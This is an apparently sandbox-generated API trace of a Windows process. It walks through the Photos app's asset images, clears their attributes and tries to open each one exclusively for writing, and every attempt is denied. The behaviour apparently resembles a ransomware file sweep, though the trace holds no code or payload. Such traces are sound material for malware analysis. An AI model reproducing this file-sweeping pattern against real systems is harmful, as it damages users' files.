	[0091.116] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.116] GetLastError () returned 0x5
	[0091.116] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.116] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.scale-200.png", cAlternateFileName="")) returned 1
	[0091.116] wcscmp (_String1="PhotosLargeTile.scale-200.png", _String2=".") returned 1
	[0091.116] wcscmp (_String1="PhotosLargeTile.scale-200.png", _String2="..") returned 1
	[0091.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2d85ee8
	[0091.116] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.116] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.116] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosLargeTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-200.png"
	[0091.116] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoslargetile.scale-200.png")) returned 0x20
	[0091.119] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.119] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photoslargetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.119] GetLastError () returned 0x5
	[0091.119] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.119] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.119] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0091.119] wcscmp (_String1="PhotosMedTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0091.120] wcscmp (_String1="PhotosMedTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0091.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d85ee8
	[0091.120] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.120] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.120] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosMedTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-200.png"
	[0091.120] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-black_scale-200.png")) returned 0x20
	[0091.123] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.123] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.123] GetLastError () returned 0x5
	[0091.123] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.123] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.123] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3db, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0091.123] wcscmp (_String1="PhotosMedTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0091.123] wcscmp (_String1="PhotosMedTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0091.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d85ee8
	[0091.123] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.123] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.123] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosMedTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-200.png"
	[0091.123] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-white_scale-200.png")) returned 0x20
	[0091.124] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.124] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.124] GetLastError () returned 0x5
	[0091.124] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.124] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.scale-200.png", cAlternateFileName="")) returned 1
	[0091.124] wcscmp (_String1="PhotosMedTile.scale-200.png", _String2=".") returned 1
	[0091.124] wcscmp (_String1="PhotosMedTile.scale-200.png", _String2="..") returned 1
	[0091.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x4782d68
	[0091.124] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.124] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.124] wcscat (in: _Dest=0x4782d68, _Source="PhotosMedTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-200.png"
	[0091.124] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosmedtile.scale-200.png")) returned 0x20
	[0091.127] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.127] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photosmedtile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.127] GetLastError () returned 0x5
	[0091.127] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.127] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x20a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0091.127] wcscmp (_String1="PhotosSmallTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0091.127] wcscmp (_String1="PhotosSmallTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0091.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d85ee8
	[0091.127] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.127] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.127] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosSmallTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-200.png"
	[0091.128] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-black_scale-200.png")) returned 0x20
	[0091.134] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.134] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.134] GetLastError () returned 0x5
	[0091.134] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.134] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0091.134] wcscmp (_String1="PhotosSmallTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0091.134] wcscmp (_String1="PhotosSmallTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0091.134] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d85ee8
	[0091.134] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.134] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.134] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosSmallTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-200.png"
	[0091.135] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-white_scale-200.png")) returned 0x20
	[0091.136] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.136] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.136] GetLastError () returned 0x5
	[0091.136] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.137] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe589f8c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xbe589f8c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xbe589f8c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x20a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.scale-200.png", cAlternateFileName="")) returned 1
	[0091.137] wcscmp (_String1="PhotosSmallTile.scale-200.png", _String2=".") returned 1
	[0091.137] wcscmp (_String1="PhotosSmallTile.scale-200.png", _String2="..") returned 1
	[0091.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2d85ee8
	[0091.137] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0091.137] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0091.137] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosSmallTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-200.png"
	[0091.137] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photossmalltile.scale-200.png")) returned 0x20
	[0091.137] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.137] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\photossmalltile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.137] GetLastError () returned 0x5
	[0091.137] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
